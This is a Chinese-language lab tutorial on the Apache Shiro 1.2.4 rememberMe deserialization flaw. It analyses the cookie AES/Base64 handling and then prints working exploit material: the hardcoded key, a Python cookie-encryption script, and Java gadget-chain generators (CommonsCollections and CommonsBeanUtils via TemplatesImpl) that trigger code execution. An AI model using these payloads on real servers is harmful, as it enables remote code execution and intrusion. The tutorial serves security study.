环境搭建
1.下载文件
- jdk8u65
- tomcat8 (https://tomcat.apache.org/download-80.cgi?Preferred=https%3A%2F%2Fdlcdn.apache.org%2F)
- shiro 1.2.4 (漏洞影响环境 shiro < 1.2.4)
jdk8u65和tomcat8直接下载安装程序,跟着默认步骤走就可以,tomcat8下载位置 - 简单的网站demo(可以直接使用p神的项目https://github.com/phith0n/JavaThings/tree/master/shirodemo)
2.配置
我们直接用idea打开下载的网站demo
2.1 添加应用服务器
2.2 选择Project Structure
因为我们使用的是已经搭建好的项目,这些都已经提前配置好了
2.3 配置Edit Configurations
url要设置为http://localhost:8080/shirodemo_war,这个路径为部署的时候设置的一级目录,所以我们让启动后浏览器自动打开这个url
部署两个都可以选
往下看,这个应用程序上下文就是我们网站的一级目录,所以上面的url要对应
2.4 登录
通过shiro的配置文件,可以看到,有两个用户账号root/secret和guest/guest,root账号为admin权限
登录可以使用root账户登录
1.漏洞原理
我们在登录shiro框架保护的网站应用时,勾选记住我,登录成功后会在返回包中有一个set-Cookie字段的rememberMe,在之后的请求中都会带上这个数据
Shiro1.2.4版本之前,在Apache shiro的框架中,执行身份验证时提供了一个记住密码的功能(RememberMe),如果用户登录时勾选了这个选项。用户的请求数据包中将会在cookie字段多出一段数据,这一段数据包含了用户的身份信息,且是经过加密的。
加密的过程是:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段。
勾选记住密码之后,下次登录时,服务端会根据客户端请求包中的cookie值进行身份验证,无需登录即可访问。那么显然,服务端进行对cookie进行验证的步骤就是:取出请求包中rememberMe的cookie值 => Base64解码=>AES解密(用到密钥key)=>反序列化。
这里出现问题的点就在于AES加解密的过程中使用的密钥key。
AES是一种对称密钥密码体制,加解密用到是相同的密钥,这个密钥应该是绝对保密的,但在shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==,这样攻击者直接就可以用这个密钥实现上述加密过程,在Cookie字段写入想要服务端执行的恶意代码,最后服务端在对cookie进行解密的时候(反序列化后)就会执行恶意代码
2.代码分析
2.1 首次登录分析
我们先看下登录的地方代码分析下,在AbstractRememberMeManager.onSuccessfulLogin处打下断点
可以看到该方法接收的参数分别为subject(当前的Subject实例),token(凭证信息,包含了账号密码和rememberme属性),info(身份验证信息)
该方法首先使用forgetIdentity()方法对subject进行清除之前存储的用户信息
然后使用isRememberMe方法对token进行判断
使用rememberIdentity对数据进行处理
调用了 getIdentityToRemember 方法,该方法的目的是从 subject 和 authcInfo 中提取出用户的身份信息,并将其封装成一个 PrincipalCollection 对象
进入下一行代码的rememberIdentity方法中,调用了 convertPrincipalsToBytes 方法,该方法的目的是将 PrincipalCollection 对象(包含用户的身份信息)转换为字节数组。
在 convertPrincipalsToBytes 方法中,我们可以看到对Principals进行了序列化,序列化代码就正常的步骤,如下图
在序列化之后,对序列化的字节码进行加密,加密我们可以看到主要是cipherService.encrypt(serialized, getEncryptionCipherKey())
也就是AES的CBC模式,第一个是要加密的数据,第二个参数是密钥
我们看下密钥的生成过程,一步步往上找,我们可以看到在这个类首先有一个默认值DEFAULT_CIPHER_KEY_BYTES,他就是一串Base64解密后的值,然后在初始化中,将这个值赋值给了encryptionCipherKey和decryptionCipherKey,这个也就是我们aes加解密的密钥
最后将byteSource对象转换为字节数组并赋值返回
接下来我们继续rememberIdentity()方法的分析
我们分析rememberSerializedIdentity方法
该方法是一个受保护的方法,接受两个参数:subject(当前的Subject实例)和serialized(用户的序列化信息,通常是一个字节数组)
首先,方法检查subject是否是HTTP相关的,如果Subject不是HTTP相关的,则方法不会执行任何操作,在这种情况下,如果启用了调试日志,则会记录一条消息,说明Subject不是HTTP相关的
如果Subject与http相关,从Subject中获取HttpServletRequest和HttpServletResponse,将传入的序列化身份信息serialized进行Base64编码,创建一个cookie实例,将cookie保存到HttpServletRequest和HttpServletResponse中,这样用户的浏览器就会在响应中接收到这个Cookie
我们分析过后可以意识到rememberSerializedIdentity方法负责在用户选择记住我时,将用户的身份信息存储到Cookie中,如果 Subject 不是 HTTP 相关的,则方法不会执行任何操作。如果 Subject 是 HTTP 相关的,则方法会将序列化的身份信息进行 Base64 编码,并将其存储到名为 rememberMe 的 Cookie 中。
我们重新来进行一次调试,并使用burp记录数据包
我们可以看到,在这里生成的base64编码数据和burp中的数据完全一致,所以这就是登录选择remember时,cookie生成的过程
2.2 Cookie解密分析
我们分析加密过程的时候主要分析的是rememberSerializedIdentity方法,那么在同类CookieRememberMeManager中还有一个getRememberedSerializedIdentity方法,我们在这里打下断点
上半部分先对subjectContext进行一次判断,看看是否和HTTP相关,然后将其转换为WebSubjectContext类型并获取HttpServletRequest 和 HttpServletResponse 对象。
然后从remember中读取Base64编码的信息,我们跟下去
我们可以看到是通过循环cookies里面的数据,然后找到name为rememberMe的返回
主要解密过程是在这一步中进行,我们跟进去,查看具体细节
在最后一步中将Base64的编码转换为字节数组
跟着断点走,进入到AbstractRememberMeManager#getRememberedPrincipals方法中
进入convertBytesToPrincipals方法,我们可以看到先对字节进行一次解密方法,然后进行反序列化
跟进decrypt方法,在这里我们可以看到和上面登陆时分析的一样,有一个解密操作,也是aes的cbc解密操作,密钥也是一模一样
我们在上面分析过,这个值就是在类的初始化中就已经处理好了,就是这个固定的值
最后返回一个字节数组,跟进deserialize方法,是一个标准的反序列化操作
3.漏洞分析
在我们第一部分漏洞原理里说过,漏洞的原理是shiro版本<=1.2.24的版本中使用了固定的密钥kPH+bIxk5D2deZiIxcaaaA==,这样攻击者直接就可以用这个密钥实现上述加密过程,在Cookie字段写入想要服务端执行的恶意代码,最后服务端在对cookie进行解密的时候(反序列化后)就会执行恶意代码
所以漏洞产生的位置就是咱们2.2 Cookie加密分析中的最后执行反序列化代码处
咱们应该怎么来利用呢?
就像cookie生成的过程一样:用户信息=>序列化=>AES加密(这一步需要用密钥key)=>base64编码=>添加到RememberMe Cookie字段
首先,准备一个反序列化利用链,将链生成的序列化文件进行AES加密,然后Base64编码,再将最后的数据添加到RememberMe中进行访问就可以了
我们先编写一个用于AES+Base64加解密的脚本
# -*- coding: utf-8 -*-
import base64
from Cryptodome.Cipher import AES
def encrypt_poc(filename):
with open(filename,'rb') as file:
poc = file.read()
#创建AES加密
key = "kPH+bIxk5D2deZiIxcaaaA=="
BS = AES.block_size
mode = AES.MODE_CBC
pad = lambda s: s + (BS - len(s) % BS) * chr(BS - len(s) % BS).encode()
iv = b' ' * 16
encryptor = AES.new(base64.b64decode(key),mode,iv)
filetext = base64.b64encode(iv + encryptor.encrypt(pad(poc)))
return filetext
def aes_dec(enc_data):
try:
enc_data = base64.b64decode(enc_data)
unpad = lambda s: s[:-s[-1]]
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = enc_data[:16]
encryptor = AES.new(base64.b64decode(key), mode, iv)
plaintext = encryptor.decrypt(enc_data[16:])
plaintext = unpad(plaintext)
return plaintext
except Exception as e :
print(e)
if __name__ == '__main__':
print(encrypt_poc("D:\\tools\\idea2023.3\\untitled\\ser.ser").decode())
print(aes_dec(""))
3.1 URLDNS验证
咱们可以先用URLDNS链验证下,不熟悉URLDNS链的朋友可以先看我之前的分析文章熟悉下
先用URLDNS代码生成一个序列化的poc文件(具体代码,可看往期文章URLDNS),然后使用加密脚本生成remember
我们首先将断点打在反序列化处,然后更改burp数据发包
但是我们会发现,断点没有触发,这是因为在Cookie中除了rememberMe外,还有一个值是JSESSIONID,如果包含它的话,会优先使用它进行登录
在 DefaultSecurityManager 类中,对 JSESSIONID 和 RememberMe cookie 的判断和区分主要发生在 createSubject 方法中。这个方法负责创建 Subject 实例,并在创建过程中处理会话和身份信息
resolveSession(SubjectContext context):
这个方法尝试从 SubjectContext 中解析出会话。如果存在有效的 JSESSIONID,则会尝试恢复用户的会话。
resolvePrincipals(SubjectContext context):
这个方法尝试从 SubjectContext 中解析出用户的身份信息。如果存在有效的 RememberMe cookie,则会尝试恢复用户的身份信息。
所以我们需要把请求包中的JSESSIONID删除掉访问
在反序列化处解析出了我们的poc,hashMap类,查看dnslog,已经接收到访问记录
3.2 CC链测试
我们使用的环境也有commons-collections 3.2.1,我们使用CC1链进行尝试
先用CC1代码生成一个序列化的poc文件(具体代码,可看往期文章CC1_LazyMap),然后使用加密脚本生成rememberMe
我们发送后,发现报错,查看错误信息,显示Unable to load ObjectStreamClass [[Lorg.apache.commons.collections.Transformer;
我们仔细分析源代码,发现shiro使用了ClassResolvingObjectInputStream类而非传统的ObjectInputStream
在ClassResolvingObjectInputStream中重写了resolveClass方法,在方法中也是使用ClassUtils.forName来获取类的Class对象
这里先使用THREAD_CL_ACCESSOR类加载器加载,加载失败返回为null后继续使用CLASS_CL_ACCESSOR类加载器加载,加载失败返回为null后再继续使用SYSTEM_CL_ACCESSOR加载器加载,均为null则打印报错信息并抛出异常
在ClassUtils.forName中会调用Classloader.loadClass()对类进行加载,在tomcat环境下调用的三个Classloader分别为ParallelWebappClassLoader、ParallelWebappClassLoader、AppClassLoader,在 Tomcat 环境中,WebappClassLoader 主要负责加载 Web 应用程序中的类。而Transformer数组属于第三方库中的类组成的数组,WebappClassLoader无法加载这种数组,所以会报错
所以我们构造一条不使用数组的CC链来生成POC,使用CC3来实现命令执行,避免数组的使用
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;
import java.util.Map;
public class CC6_2 {
public static void main(String[] args) throws Exception{
TemplatesImpl templates = new TemplatesImpl();
Class<? extends TemplatesImpl> tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates,"a");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {eval};
bytecodes.set(templates,codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates,new TransformerFactoryImpl());
//初始化加载类
// templates.newTransformer();
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{});
HashMap<Object, Object> hashMap = new HashMap<>();
Map lazymap = LazyMap.decorate(hashMap,new ConstantTransformer("1"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,templates);
lazymap.put(tiedMapEntry,null);
lazymap.remove(templates);
Class<LazyMap> lazyMapClass = LazyMap.class;
Field factory = lazyMapClass.getDeclaredField("factory");
factory.setAccessible(true);
factory.set(lazymap,invokerTransformer);
serialize(hashMap);
// unserialize("ser.bin");
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}
生成一个序列化的poc文件,然后使用加密脚本生成rememberMe,发包,成功弹出计算器
3.3 CB链测试
我们使用CommonsBeanUtils反序列化链进行尝试,但是我们首先要注意的是,shiro自带的CommonsBeanUtils版本为1.8.3,如果我们序列化时用的版本不一样,就会出现报错
具体体现为两个不同版本的库使用了同一个类,而这两个类可能有一些方法和属性有了变化,此时在序列化通信的时候就可能因为不兼容导致出现隐患。因此,Java在反序列化的时候提供了一个机制,序列化时会根据固定算法计算出一个当前类的 serialVersionUID 值,写入数据流中;反序列化时,如果发现对方的环境中这个类计算出的 serialVersionUID 不同,则反序列化就会异常退出,避免后续的未知隐患。
所以我们要使用相同版本1.8.3的来生成序列化文件,然后加密成rememberMe发包
package org.example;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;
public class CB {
public static void main(String[] args) throws Exception {
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field name = tc.getDeclaredField("_name");
name.setAccessible(true);
name.set(templates, "a");
Field bytecodes = tc.getDeclaredField("_bytecodes");
bytecodes.setAccessible(true);
byte[] eval = Files.readAllBytes(Paths.get("D:\\tools\\idea2023.3\\untitled\\target\\classes\\org\\example\\Calc.class"));
byte[][] codes = {eval};
bytecodes.set(templates, codes);
Field tfactory = tc.getDeclaredField("_tfactory");
tfactory.setAccessible(true);
tfactory.set(templates, new TransformerFactoryImpl());
final BeanComparator beanComparator = new BeanComparator();
final PriorityQueue<Object> priorityQueue = new PriorityQueue<Object>(1,beanComparator);
priorityQueue.add(1);
priorityQueue.add(1);
Field property = beanComparator.getClass().getDeclaredField("property");
property.setAccessible(true);
property.set(beanComparator,"outputProperties");
Field queue = priorityQueue.getClass().getDeclaredField("queue");
queue.setAccessible(true);
queue.set(priorityQueue,new Object[]{templates, templates});
serialize(priorityQueue);
}
public static void serialize(Object obj) throws IOException{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}